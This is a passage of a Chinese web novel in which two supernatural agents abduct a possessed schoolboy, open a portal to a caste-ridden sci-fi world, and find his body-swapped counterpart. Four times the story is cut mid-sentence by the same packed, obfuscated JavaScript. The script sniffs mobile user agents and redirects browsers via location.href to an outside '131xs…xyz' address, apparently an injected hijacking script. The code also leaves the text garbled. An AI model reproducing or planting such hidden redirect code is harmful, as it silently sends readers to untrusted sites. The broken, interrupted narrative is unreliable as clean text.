而且我从别人那里听过一个事,你们知道清平一中吗,最近那学校有个学生跳楼,据说这个学生,壳子里也换人了…… 11L(楼主)小甜水重度依赖 @小蚂蚁11,什么?!麻烦您详细说说! 12L一般路过: 卧槽,我鸡皮疙瘩起来了。 13L小蚂蚁11: 回复(楼主)小甜水重度依赖:不用用“您”啦,我也是个高中生。 这件事我也是听别人说的,但这个“别人”跟跳楼的学生关系非常近,但其实她也不确定,哎呀反正你们就当故事听吧。就是说这个跳楼的学生在自杀之前,他妈妈也觉得他换了一个人,说真正的他已经死了,还活着那个不是他。 14L今年上岸: 我靠,你说的这人我认识,我就是他同学,我一点儿没感觉他壳子里换人了,谣言也不能这样传吧,别消费死者了好吗? 15L小蚂蚁11: 对不起,我也是听别人说的,我删掉吧。 16L鼠鼠我啊: 你们学校的怪谈内容有点熟悉,楼主有没有看过站内那个狭间的帖子,我把链接贴过来吧。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16109417|177889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>链接:【我发现了一个现象,我将它命名为“狭间”】 17L一般路过: 哈哈,狭间真实存在证据+1 ...... 庄辰岚关掉论坛:“我看完了。” 迟予知伸了个懒腰:“那现在就开工吧,早干完早歇着。” “冯小宇是帖子里提到的那个奇怪的同桌?” “看样子就是了。” 迟予知猛地站起来:“开工!” 喊完这句,他又扶住墙愣在原地,眼神直直看向地面。 庄辰岚一惊:“怎么了?” 难道有什么不对的地方? “不是,起太猛了眼前发黑。” “……” 庄辰岚道:“所以我们现在需要找到冯小宇?可他住哪灵网也没给出来啊。” “需要我们自己联系发帖人,”迟予知举起他的灵端,“我已经联系好了——悟城市锦绣花园2栋一单元6楼,靠谱吧。” 庄辰岚看着他的论坛页面,上面的id是: “大清亡了。” 迟予知赶紧收起来:“这老荒给我弄的,妈的,改不回来了。” 庄辰岚已经想象到当时荒村梨花笑眯眯的脸了:“予知啊,给你这个id,是要时时警醒你,不要把大家当你的奴仆,现在已经人人平等了,知道吗?” 庄辰岚道:“取得挺好的。” 迟予知夹起一张黑色符纸,上面龙飞凤舞的画着金色的符文。 “我们用缩地千里去。” 庄辰岚道:“我一直想问,你用的符纸为什么都是黑色的?” “因为我用的是怨力,跟他们用灵力的相反,所以符纸也要反着来喽。” 黑色符纸发出金光,迟予知的脚下瞬间出现一个绿莹莹的圆形法阵,四方写着“北,东,西,南”四字,正是缩地千里法阵。 “进来啊。” 庄辰岚便站了进去。 “啧,站近点。” 庄辰岚又往里面挪了挪。 迟予知道:“悟城锦绣花园。” 话音刚落,庄辰岚眼前绿光一片,等到视线清明下来,一个绿树成荫的小区便赫然眼前。 庄辰岚道:“有这种好东西,上次在长生殿怎么不用?” “因为用完了。” “你能不能教我画这个符?” “我也不会,这都是老荒发的。” 庄辰岚道:“她怎么不给我?” “你得问她要,天问那一群人懒的生蛆,这要在我们府上,都得每天打二十大板。” 迟予知道:“我是不是还没跟你说过工作流程,其实非常简单,就是找到侵入体,然后等狭间出现后进去把他物归原位就大功告成了,懂了吗,是不是很简单?” 庄辰岚道:“所以我们现在要去找冯小宇?” “没错,”迟予知打了个响指,“把他打晕拖到阵里,然后传送到那什么二中。” “跟人贩子似的。” “不行吗,我看你挺激动的,都跃跃欲试了。” “……我们要不要把脸蒙起来?” 迟予知一甩手:“不用,监控对我们不管用,我给你张符揣着,到时候别说监控了,人都看不见你。” 行吧,真被他说中了,第一次干绑匪,庄辰岚竟真的隐隐有些激动。 迟予知掏出一张燃着莹莹绿光的符咒递给庄辰岚:“记得揣兜里。” 二人进入锦绣小区,乘电梯到达六楼,迟予知道:“现在的人都住这种蜂窝筒里,也没个院子,连阳光都晒不到,”他扬起嘴角,“唉,果然庶民能忍受一切啊。” 迟予知拿铁丝捅进门锁扭了几下,房门便咔哒一声打开,随后,他便像回自己家一样大摇大摆走了进去。 客厅的沙发上坐着两个老人,电视开着,上面正在放还珠格格。 老太太瞟了一眼大门的方向:“我好像听见门开了。” 老头颤颤巍巍的走过去,路上与二人擦肩而过,他看到门果然开了,于是抱怨道:“让你用力关门用力关门,每次都关不好。” 老太太骂他:“胡说八道,我明明记得关好了。” 庄辰岚环视四周,这是一个常见的三室两厅的房子,他们很快就找到了冯小宇,此时他正趴在书桌前看漫画。 迟予知二话不说给了他一记手刀,冯小宇便嘭的砸在了桌子上。 26.悟城二中2 迟予知掏出刚才那张缩地千里符,把男孩夹在胳膊底下,在法阵中道:“悟城二中。” 庄辰岚道:“能用两次?” “来一次去一次,有来有回,有始有终。” 站在悟城二中大门口,庄辰岚不禁感叹道:“这也太方便了。” 迟予知弯着腰,扶着前面一堵墙喘粗气:“方便是...方便,就是,哈,太废体力,尤其...还要带你们...两个。” 庄辰岚对他的体力值不做评价:“下次换我来吧。” 冯小宇被扔在地上,迟予知踢他一脚:“喂,醒醒!” 冯小宇悠悠醒来,他揉了揉眼睛,看清后吓得大叫一声:“你们是谁!想干嘛?!” 他又环顾四周:“这是哪?我不是在家吗?” 迟予知道:“你看出来哪里不对了吗?” 庄辰岚道:“魂魄不对。” 人有三魂七魄,缺一魄便显痴傻,缺一魂便死期将至,而冯小宇体内不仅一魂都没有,反而充盈着一股难以名状之气。 庄辰岚在做生无常的一年多时间里见过无数人类的灵魂,他们有的完整,有的残缺,有的善良,有的邪恶,但究其本质却都是一样的,而面前这个灵魂不同,它不属于此世任何一种灵魂的定义,庄辰岚终于理解迟予知所说的那种“不属于这个世界的感觉”了。 迟予知道:“这回麻烦了,没想到他体内的不是死物,是活的。” 庄辰岚问:“这种情况很罕见吗?” “还行吧,有次我跟姜福子解决过一个差不多的,只不过它没附在人类身体上。”迟予知好像打开了话匣子,“那玩意长得恶心死了,我拿滩泥呼墙上的形状都比它好看,而且这东西并不是智慧生物,完全无法交流,最后只能宰了......” “你们到底想干嘛啊!” 尖锐的质问打断了迟予知滔滔不绝的讲话。 他蹲下身,盯着冯小宇道:“这话该我问你吧,你不是冯小宇,你到底是谁?” “冯小宇”瞪大眼睛,他张开嘴,震惊的说不出话。 迟予知又道:“庆幸你能说话吧,不然我早把你宰了,但是如果你不老实,不肯乖乖听话回去,后果也是一样。” “冯小宇”磕巴了半天,终于组织好了语言,他兴奋地喊道:“没错!我不是冯小宇!我不是这里的人,快把我送回去!” 迟予知:??? 庄辰岚:...... 二人对视了一眼,这剧情发展好像有点太快了。 “冯小宇”又喊道:“我受不了这里了,我要回家!让我回去!” 迟予知道:“你当你是谁啊想来就来想走就走,等着吧,看看狭间什么时候出来。” 庄辰岚道:“在这之前我们都要看着他吗?” “不然呢,让他跑了就坏了,谁知道这小子有没有耍花招。” “冯小宇”哀嚎道:“我绝对不会耍花招的,我做梦都想回去,要等到什么时候啊,我受不了这里了!” 灵网给出的时间是月圆之夜,而这个月的十五是在三天后。如果运气够好,三天后的悟城二中四楼走廊将会出现狭间,而如果运气不好,不知又要等到猴年马月。 庄辰岚问“冯小宇”:“你原本是谁?怎么到这里来的?” “我,我叫邬子曰,说真的,我也不知道自己怎么来的,有天好好走在路上,突然就到这里来了,不知道怎么就进了这个身体。” “真的不知道吗,我看你对冯小宇的生活好像挺熟悉的,连你身边的人都只是怀疑而不是确定你不是冯小宇本人。” “那是因为我有这具身体原主的一些记忆,初来乍到,我也不敢轻举妄动,就只好按他的记忆生活了。” 魂魄有承载记忆的功能,冯小宇的七魄还在这具身体内,邬子曰说他有一些记忆也并非不可能。 迟予知问道:“你们的世界什么样?” “那可比你们这儿好多了!” “哦?好在哪?” 邬子曰挠了挠脸:“呃,其实也差不多,没什么特别的。” 迟予知道:“我就想知道一点,你们那儿安全吗,没有见人就打的怪物吧?” “你想什么,那种东西肯定都被关起来研究了,普通人想见都见不到。” “那就好。” 迟予知对庄辰岚道,“看起来这个狭间有高等文明,这种安全程度最高,你真够走运的。” “这种?还有什么样的?” 迟予知道:“天问根据狭间内有无生物把它分为四种类型,第一种,有高等生命的狭间,第二种,有无智慧无危险性生命的狭间,第三种,有无智慧有危险性生命的狭间,第四种,无生命存在的狭间,一般来说,第一种最安全,因为有智慧的生物一般情况不会轻举妄动。” “那不应该是没有生物的才是最安全的吗?” “没那么简单,有的狭间虽然没有生物,但空间完全是扭曲的,让人分辨不出方向,最后活活困死在里面。” 究竟是一场异国风景观光,还是一次夺命之旅,在进入之前,没人会知道。 光怪陆离的狭间,完全就是潘多拉的魔盒,薛定谔的箱子。 庄辰岚道:“真像做梦一样。” “对吧,”迟予知打了个响指,露出一边梨涡:“你也感受到这份工作的魅力所在了?” 庄辰岚道:“你们有尝试过主动召唤狭间吗?” “你说的轻巧,各种方法用了一遍,从来没成功过。” “我来试试。” 迟予知瞪大眼睛:“你?你拿什么试——等等,那把斧头?” 庄辰岚心中隐隐有一种预感,如果用这把斧头,说不定可以。 闲着也没事,试试也没损失,二人当下就找到楼梯间开始爬楼。 迟予知对蠢蠢欲动的邬子曰道:“老实在这呆着别动。” 阳光从楼梯间的窗户射进来,强光下迟予知暗灰色的血管透过苍白的皮肤清晰可见。他似乎十分烦躁阳光,一直在拿手遮挡。 庄辰岚问:“你到底是人还是鬼?” 迟予知急道:“你什么意思?我当然是人了!你不会觉得亲王就不是人了吧?” “没人问你是不是亲王。” 还没到四楼,二人突然听见一阵响动,听声音像是一群人从楼梯间跑了下去,庄辰岚赶紧追过去,路上,她听到一阵桌椅挪动的刺耳声,像是从二楼的一间教室里传来的。 迟予知也跟了过来,看到庄辰岚指了指一间教室,他立马放出一个小鬼前去查看。 小鬼直接穿过了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16114875|177889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 墙壁,片刻后,屋内传来凄惨的尖叫声——是人的声音。 不会是滞留的学生吧? 庄辰岚立马跑过去打开门,果不其然,两个学生打扮的女孩正瘫坐在地面上瑟瑟发抖。 庄辰岚眼神示意那个小鬼退下,其中一个女孩便站起来,冲庄辰岚喊道:“你是谁啊?!” 庄辰岚道:“我是学校保安,现在不允许学生在校,赶快出去。” 瘫坐在地的女孩道:“骗人,你不是保安,二中的保安我们认识。” 迟予知从教室外进来,一边走一边说:“你管我是谁,麻溜的赶紧退下,不然就把你们都扔出去。” 瘫坐在地的女孩道:“不行,我不能走,我来这里有重要的事!” 迟予知道:“来学校能有什么重要的事?作业忘带了还是来表白啊?” 女孩大声道:“我要来救我同桌。” 庄辰岚惊讶道:“你是旧土论坛那个小甜水重度依赖?” 迟予知联系的帖主就是她。 女孩也睁大眼睛:“你看过那个帖子?” 迟予知道:“救?你知道怎么回事吗就跟个无头苍蝇似的跑来了。” “你这人说话真难听。”女孩嫌弃的撇撇嘴,她指向另一个女孩道:“小菊是很厉害的出马仙,她说我同桌有一魂留在二中这里了,所以才会忘记很多事情,我们要把他找回来。” 庄辰岚心道,何止是一魂啊,三魂都没了。 而且这里也并没有人类灵魂的气息。 这时,邬子曰从外面跑了进来:“你们别丢下我一个人啊!” 看到女孩,他愣住了:“闫儿,你怎么在这儿?” 女孩也同样十分震惊:“冯小宇?你跟他们认识?你又来探险了?” 邬子曰突然板起脸:“与你无关。” 迟予知冲他喊道:“不是让你老实呆着吗。” 他掏出两张符纸,甩手拍在闫儿和小菊身上,两人瞬间动弹不得。 邬子曰喊道:“别伤害她们!” “定身符而已。” 闫儿一边挣扎,一边冲邬子曰喊道:“冯小宇,你肯定认识他们吧,你们来这儿干嘛?” 邬子曰烦躁道:“都说了,跟你没关系。” 就在此时,一个尖锐的笑声响起——是小菊,刚才她还低着头,一副怯生生的样子,这会儿就突然立起眼睛,好像换了一个人。 小菊开口了,她的声音十分尖锐,像影视剧里太监的语调:“我知道了,你们是天问的人。” 迟予知道:“算你识相。” 闫儿惊讶道:“你就是今天联系我的人?” 小菊道:“把定身符解开吧,我会带着这女孩离开的。” 迟予知打了个响指,两人身上的符咒燃起莹莹鬼火,随后化为灰烬。 闫儿刚要开口,小菊便道:“交给他们吧,放心,术业有专攻。” 闫儿似乎很信任她,她回头看了一眼邬子曰,便跟小菊走出了教室。 迟予知转头对庄辰岚道:“看到了吗,是只大灰耗子。” 庄辰岚也还是第一次看到仙家,那是一只巨大的老鼠,人身兽头,穿着青色道袍。 小菊听到这话,转过头瞪了他一眼,似是想骂点什么,但最后还是没骂出来。 27.悟城二中3 确保两个女孩离开后,庄辰岚和迟予知来到四楼走廊,按照悟城二中的校园怪谈和灵网给出的情报,只要月圆之夜就能在此看到另一个世界。 虽然现在并非月圆之夜,一切也都很平常,庄辰岚仍旧隐隐有些激动。 她往前走了几步,心中突然有一种预感——我现在就可以到达那里。 这个念头一出来,她就吓了一跳,当初跟范无救和谢必安打赌时,她也是一模一样的想法。 可是,为什么? 手腕上的血镯隐隐发热并且微微抖动,好像迫不及待大显身手一番。 庄辰岚抬起右手,还没来得及在心中默念“裂骨”,手腕处就发出一阵刺眼的红光,自手指处传来奇怪的触感,好像她正在摸一盆凉水。 等到红光渐渐平息,在场的所有人都看到了那个水银般波光粼粼的狭间入口。 迟予知震惊的愣在原地,好一阵没有说话。 庄辰岚转身问道:“这个是入口吗?” 迟予知大笑道:“好好好,怪不得老荒看到你就跟看到宝儿似的,我算知道她为什么不舍得你走了。” 天问对待狭间何时出现的问题几乎无计可施,纯靠运气,效率极低,迟予知他们曾经为了消除一个狭间在它附近住了半年多,而现在庄辰岚可以在任意时间打开狭间的入口,其中意义不言而喻。 水波后的景象似真亦幻,邬子曰望着它,神色十分复杂,迟予知把胳膊搭在他肩膀上:“这是近乡情怯了?” 邬子曰打掉迟予知的胳膊:“别碰我。” 迟予知狠狠肘了他一下:“装什么装,被我碰是你八辈子修来的福气。” 庄辰岚道:“别闹了,赶快进去吧。” 迟予知把邬子曰踹进去,周围的环境逐渐扭曲抽象为陌生的样子,庄辰岚睁大眼睛,一秒也不想错过,空间穿越的变换简直就是一场视觉盛宴。 他们似乎被传送到了一个地铁口,庄辰岚和迟予知刚走出门,便被扑面而来的光影洪流钉在原地: 碧瓦朱檐的金阁琼楼皆被笼罩在流光溢彩的霓虹与瞬息万变的全息投影之中,祥云动车和低空飞艇在飞阁叠榭中穿行而过,尤其是那一尊巨大的青铜玄鸟佛像,祂镶嵌在一排近百层的大厦之中,被檐牙反宇上无数红色宫灯染上几分烟火,明明慈眉低垂,善目微合,却依旧因其过于巨大的身躯和不合时宜的位置让人心生一种荒诞的恐惧。 科技极度发达的世界,建筑却是古代风格,未来感与复古感完美交织,强烈的对比带来震撼的视觉享受,庄辰岚贪婪地看着眼前的一切,想把它们全都深深刻在脑子里。 邬子曰双手交叉,冷笑一声:“真是两个土包子。” 迟予知听见他的声音,突然反应过来:“你这家伙已经回来了,为什么狭间还没有消失?” 果然,水幕般的入口仍旧在三人背后,为了防止其他人误入,迟予知布了个阵法,暂时将它封印了起来。 庄辰岚道:“既然要物归原处,那么灵魂也是同理,难不成需要他回到原来的身体里?” 迟予知右手握拳,在左掌拍了一下:“很有道理。” 邬子曰道:“那真是太遗憾了,估计他们觉得我已经死了,早就把我的身体给扔下去了。” 迟予知气压极低:“我怎么感觉你很得意啊?” 邬子曰顿觉不妙,但还是硬着头皮顶嘴道:“你冲我发什么火,这也不怪我啊。” 庄辰岚道:“你说扔下去了,是扔哪里了?” 邬子曰道:“直说你们肯定不懂,跟我过来。” 二人跟着他一直走,街道两旁是盛开的白玉兰树,明明只是全息投影,却依旧有丝丝暗香涌动。路上的行人穿着各异,或穿旗袍马褂,或着宽袍大袖,那些闪着光的珠宝首饰,仔细一看全都是高精密的机械,与当地的建筑一样,他们的服饰也是各种精密仪器与古装融合的风格。 庄辰岚三人走在他们中间,仿佛误入科技时装周的中学生,每一个经过他们的行人,都会露出轻蔑的神色。 庄辰岚道:“在这里穿着朴素有这么好笑吗?” “不...”邬子曰道,“他们大概是把你当作方壶人了。” “方壶?”庄辰岚话还没说完,一个鸟首人身的生物就从他们头顶掠过,他有着巨大的翅膀,在错落的高楼间穿梭。 庄辰岚指着他问:“那是什么?” 邬子曰连忙把她的手打下去:“别乱指!他们是雷民,是这个世界的一级公民。” 迟予知道:“长这样还能是一级公民?在我们那儿去马戏团都没人要。” 邬子曰连忙把食指竖起:“嘘,不要乱说话!” 庄辰岚道:“你这么怕他们做什么?” 邬子曰道:“你们两个外乡人什么都不懂,能不能老实一点?雷民拥有强大的力量,而且大多都是小心眼,有时候多看他们一眼就会被杀。” 他指着夜空中一处闪着亮光的倒三角锥:“那个岛叫蓬莱,是这个世界的最高点,也是最繁华最美丽的地方,雷民都生活在那里,我们这里跟蓬莱没有任何道路,只有长着翅膀的雷民才能飞到那里。” 他跺了跺脚:“这里是普通公民的居住地,名叫瀛洲。” 他又往地下指了指:“下面还有一个岛,叫方壶,是最低等的人住的地方,没有人愿意去那里,也没人欢迎他们出来。” 庄辰岚一惊:“蓬莱,瀛洲,方壶,这不是神话记载的三仙山吗?” 邬子曰道:“莫不是你们的祖先也来过这里?” 迟予知道:“管他的,现在最要紧的是把你的身体找回来,赶紧带路。” 邬子曰道:“你骂我干什么,又不是我先说的。” 三人继续向前,邬子曰带二人前来的是瀛洲岛的边缘,这里围着高高的护栏,因为下面是深不见底的虚空。 在这个位置,能清晰的看到黑色的虚空中漂浮着三座小岛,三个岛屿虽然高度不同,但也并非简单的上中下关系,三者并不位于同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123459|177889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一平面,因此在一个岛屿能轻松看见另外两个岛屿。 蓬莱位于左上方,周身围绕着乳白色的光晕,远远看去宛如天使一般。 右下方的方壶则漆黑一片,好像跟虚空融为一体,不仔细看根本注意不到。 唯一相似的是,三座岛屿都有一个瀑布般的水柱倾泻而下,没有尽头。 邬子曰指了指下面的虚空:“扔下去是指扔到这里,我们都叫它‘归墟’,传说全世界的水都注入到了下面,它没有尽头,无限的深,也无限的空,无论是雷民还是贱民,他们死后,尸体都会扔到这里,在死亡之时,众生平等,万性归空。” 迟予知道:“别扯犊子了,没有底我怎么给你找回来?” 邬子曰无所谓道:“所以就是找不回来了啊。” 迟予知看到他这样子就来气:“真想让人把你拖下去掌嘴。既然这样,那就只能宰了你了。” 迟予知黑洞般的瞳孔倏得变为血红色,朝邬子曰逼近。 邬子曰看他真要动手,于是连连后退:“喂,不是吧,你来真的,我认为就算不消除那个什么狭间也没关系的吧!” “少废话!我认为把你杀了也没关系。” “你!”他转头对庄辰岚道,“你看着比他聪明,肯定知道别的方法,对吧!” 庄辰岚召唤出裂骨:“很遗憾,不知道。” “喂!你们两个!” 面对二人的逼近,邬子曰朝天大喊道:“等等!我的身体还在!住手!你们冷静!” 可两人并没有停下来的意思,邬子曰边退边喊:“我跟那个冯小宇交换了身体他现在一定在用我的身体生活所以我们找到他就可以了绝对是真的你们别杀我啊!” 迟予知道:“这地方这么大,我可没时间陪你找。” 邬子曰道:“就因为这个你要杀我?不行啊,救人一命胜造七级浮屠,别过来,我知道在哪!” 庄辰岚道:“你又知道了。” 邬子曰道:“我是瀛洲记忆研究院的研究生,去那里打探一下肯定能找到!” 他的背后撞到墙上,已经退无可退了,邬子曰紧紧把眼睛闭上。 等了半天,什么也没发生。 邬子曰缓缓睁开眼睛,看见二人停在三步远处,没有下手的意思,他站直身体,长长呼出一口气:“我就知道你们是大好人!” 庄辰岚问:“你为什么要跟冯小宇互换身体?怎么做到的?” 迟予知补充一句:“老实交代,不然直接送你归西,大家都痛快。” 邬子曰瞪他一眼,开口道:“因为我不想在这个世界呆着了。那天我在三清地铁口看见他跟另一个人类正在被雷民殴打,那两个雷民肯定是把他们当作方壶人了,我正好闲着没事干,就顺便帮了他们,这才知道他们是来自另一个世界的。一开始我并不信,但他们带我看了狭间的入口,那个入口特别小,眼看就要关闭了,正巧我身上带了换元伞,情急之下就跟他换了身体,跑到你们的世界了。” 28.悟城二中4 庄辰岚道:“直接进去不行吗?为什么要多此一举跟他交换身体?” 邬子曰嗫嚅道:“因为我的身体很奇怪,到你们的世界肯定会被欺负的,就像他们来到这个世界一样。” “你这人还真是只想着自己啊,”迟予知嘲讽道,“奇了怪了,你这种自私的人,怎么会热心肠的帮他们?” 邬子曰沉默片刻,道:“因为我以前就是方壶人。” 迟予知哦了一声:“这是老乡见老乡,两眼泪汪汪了。” 庄辰岚道:“你刚才不是说方壶人不受欢迎吗,那你怎么成了瀛洲的研究生?” “是因为皆公放教授,他是雷民,但却非常善良,”邬子曰道,“他力排众议,收养了很多方壶的孤儿,我就是其中之一,他不仅给我们提供衣食住行,还给了我们跟瀛洲孩子一样的义务教育,他对每个孩子都非常温柔,为此还受到了其他雷民的排挤。” 迟予知道:“原来那什么雷民里也有好鸟啊。” 邬子曰又瞪了他一眼:“不许你这么说教授!” 庄辰岚道:“既然如此,你已经非常幸运了,为什么不想在这个世界呆着。” 冯小宇沉默片刻,刚想开口,就听见前方传来一阵尖叫声。 寻声看去,只见两个男人正奋力抵抗另外两个人的抢劫,但随着寒光一闪,被抢劫的两个男人纷纷倒在血泊之中,而凶手则乘着一个低空飞艇扬长而去。 鲜血溅在街道旁雪白的玉兰花上,但不一会儿就被刷新下去,花瓣很快就再次一尘不染了。 然而,对于如此血腥暴力的一幕,街上的人却好像视若无睹,仿佛司空见惯。 迟予知道:“哇哦,你们这儿的民风还真彪悍。” 两具尸体血淋淋的躺在大街上,庄辰岚道:“没人管管他们?” 话音刚落,几个形似宫廷侍女的机械仿生人便走了过来,她们有的搬起尸体,麻利的扔进归墟,有的打扫街道,将血迹擦干净。 庄辰岚惊道:“这就扔了?现场都不保护一下?” 冯小宇道:“他们死后的第一时间,身上的设备就会通知家属或者朋友,但照现在看来应该是没人愿意给他们收尸。” “那两个杀人犯就逍遥法外了?” “什么叫法外?不要用你们的思路来看这个世界,这里没有法律,大家是自由的,想做什么都可以。” 庄辰岚震惊了,因为自从来到这里以来,她就感受到强烈的等级制度,没想到这个泾渭分明的世界奉行的居然是绝对的自由主义。 庄辰岚道:“你们这里还没有变成刺激战场,真是一个奇迹。” 邬子曰道:“绝对自由也没有你想象中那么简单,没有法律,社会的潜规则便会格外明显,能突破这些杀人的人,就算不会得到法律的惩罚,也会社会性死亡,而且他们极大可能会被受害者的家人反杀,像刚才那两个凶手,只是极少数的幸运儿而已,但我猜他们大概率是职业杀手。” 迟予知嘲讽道:“我看你们这群人可是一点儿自由都没有。” 邬子曰道:“就算是这样也比你们那里好得多,尤其是那个悟城二中,简直就是地狱,上课不允许乱动就算了,连上厕所都没时间,如厕和吃饭只能二选一,瀛洲的猪狗都比这自由!我真奇怪了,这些人类到底是怎么忍下去的!” 庄辰岚道:“只是高中比较紧张,特殊阶段而已。” “算了吧,你们那里的成年人也没好到哪去,”邬子曰掰着手指头,“每天上班,打卡,没有假期,日复一日,被逼结婚生子,所有有价值的东西都要请假或在工作间隙完成,甚至让步于工作,最搞笑的是这些工作还并不是他们喜欢的,也没有任何意义,我一想到自己一辈子都要那样就绝望啊!人类为什么要在一个这么辽阔的世界里过一模一样的生活。” 迟予知道:“这是刚来水土不服,你多待几天就死了,啊不,就好了。” 听到邬子曰那番话,庄辰岚突然想起了林听,一些画面再次不受控制的浮现在她的脑海,她赶紧强行遏制,将那些记忆抛诸脑后。 庄辰岚道:“你还没回答刚才的问题呢?当初你为什么要走。” 邬子曰道:“因为我不想再做人体实验了。” 庄辰岚和迟予知异口同声:“人体实验?” 邬子曰道:“这个世界是绝对自由的,也就意味着你们的世界所定义的那些反人类反社会的研究在这里都是被允许的。我做的是记忆覆盖相关的研究,每天都要在那些方壶人身上做实验…” “呵呵,”迟予知冷笑道:“什么狗屁自由主义啊,这都是上面那一小撮人的借口和工具罢了,我懂,我太懂了。” 庄辰岚道:“你不是自由的吗,不做不就好了。” “我都说了,自由没有你想的那么简单,失去了这份工作我就要被扔回方壶了,而且这是教授给我的机会,我不能辜负他。” 庄辰岚道:“所以在人类世界伤害自己和在这个世界伤害别人之间你选择了后者。” 邬子曰不屑道:“人不为己,天诛地灭。” “这话我同意。”迟予知嘻嘻一笑。 “别说这些了,”庄辰岚道,“邬子曰,带我们去你说的那个研究所。” —— 三人来到瀛洲记忆研究所,与庄辰岚印象中的研究所不同,这里更像是一所大学。 正大门屋檐上的螭吻狻猊等五脊六兽正兢兢业业地站岗,看到有人来,朱漆大门的铜环蓦地变为两只眼睛,从中射出的两束蓝光将来人从头扫到尾,又从尾扫到头,确定无误后才放入。 迟予知道:“看来正门是别想混进去了。” 邬子曰道:“研究所西北边比较偏僻,而且有一大片竹林,以前有什么特殊情况,我们都从那里爬进去。” 几人又来到西北角,这里果然是一大片竹林,墙壁内外都长着茂密的竹子,墙头密密麻麻排满了削尖的竹刺。 迟予知道:“你确定你要翻这种墙,被扎成骰子我可不管。” 邬子曰吃惊道:“怎么回事?以前没有这些东西的!” 他在墙下走走停停:“肯定是研究所的安保发现这里经常会有人偷溜进来,所以才装上了那些竹子尖。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16131757|177889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 庄辰岚仰头观察了一会儿,即使被安上了锋利的竹尖,从这里翻过去对她来说也是小菜一碟,只是这里科技发达,不知道这些竹子会不会有别的功能。 就在她想进一步观察的时候,突然听见竹林中传来细细簌簌的声音。 庄辰岚抬手示意两人不要说话。 仔细一听,这声音有点像衣物摩擦发出的声音,她轻手轻脚地向声音传来的方向靠近,没想到居然在墙跟下发现了一个洞口。 洞口被稻草,竹叶和泥土塞起来,正随声而动,好像里面正有什么东西要钻出来一样。 迟予知和邬子曰也靠了过来,三人把这个不大不小的洞口围了个水泄不通。 最表层的泥土扑簌簌往下掉,随后,一只机械手臂突然伸出来,它拨开洞口的泥土,紧接着,一张清秀的脸便从洞中探出来,他的头发上落满了泥土与竹叶,颇有几分逃难美人的感觉。 逃难美人的脸上最开始是重见天日的喜悦,待看到头顶笼罩的三座大山,这份喜悦又迅速被惊恐取代。 然而邬子曰的表情也没好到哪去,他甚至比洞里的人还要惊恐,他颤抖着,目不转睛地盯着里面的人。 庄辰岚看出他状态不对:“怎么了?你认识他?” 邬子曰瞳孔地震,不可置信道:“这人是我。” 庄辰岚还没来得及回话,洞里的人就迅速爬起来,揪住邬子曰的衣领骂道:“你他妈还敢回来!” 庄辰岚明白了,现在的情况是,变成冯小宇的邬子曰和变成邬子曰的冯小宇就这样毫无征兆的再次遇见了。 迟予知好像看到了什么精彩的好戏,在一旁指着两人笑道:“哈哈哈哈哈,冤家路窄,真是精彩!” 邬子曰原本的身体没有右手,袖子里空空荡荡的,怪不得闫儿会发现被邬子曰取代的冯小宇成了左撇子。 冯小宇愤怒地喊道:“把我的身体还我!” “你给我放开,”邬子曰双手去掰抓住自己衣领的那只手,“我又没说不还给你。” 庄辰岚道:“冯小宇,你先冷静,我们这次来就是带你回去的。” 冯小宇看她穿着,确定庄辰岚是自己世界的人,一时气血上涌,百感交集,居然抱着她大哭起来。 庄辰岚悄无声息地把他推开了。 她道:“你怎么不走大门,反而从这里钻出来?” 冯小宇刚止住的哭声似乎又要开始了:“我是逃出来的,那群混蛋把我锁起来了。” “什么?!为什么?!”邬子曰一脸震惊,“他们发现你不是我了?不对,你应该有我的记忆啊,啧,真是蠢到家了。” “你才是蠢货,还记忆呢!都怪你那些破记忆!” 冯小宇骂完,又喃喃道:“其实我不该这么骂你的,你太可怜了,经历了那样的事还,不,还不是因为你自己太蠢,我太笨了,不对,是你太笨了,我又不是你……” 迟予知道:“他叽里咕噜说什么?” 庄辰岚:“他好像分不清自己是谁了。” 果然,冯小宇蹲在地上,抱住自己的脑袋,发出痛苦的呻吟。 29.悟城二中5 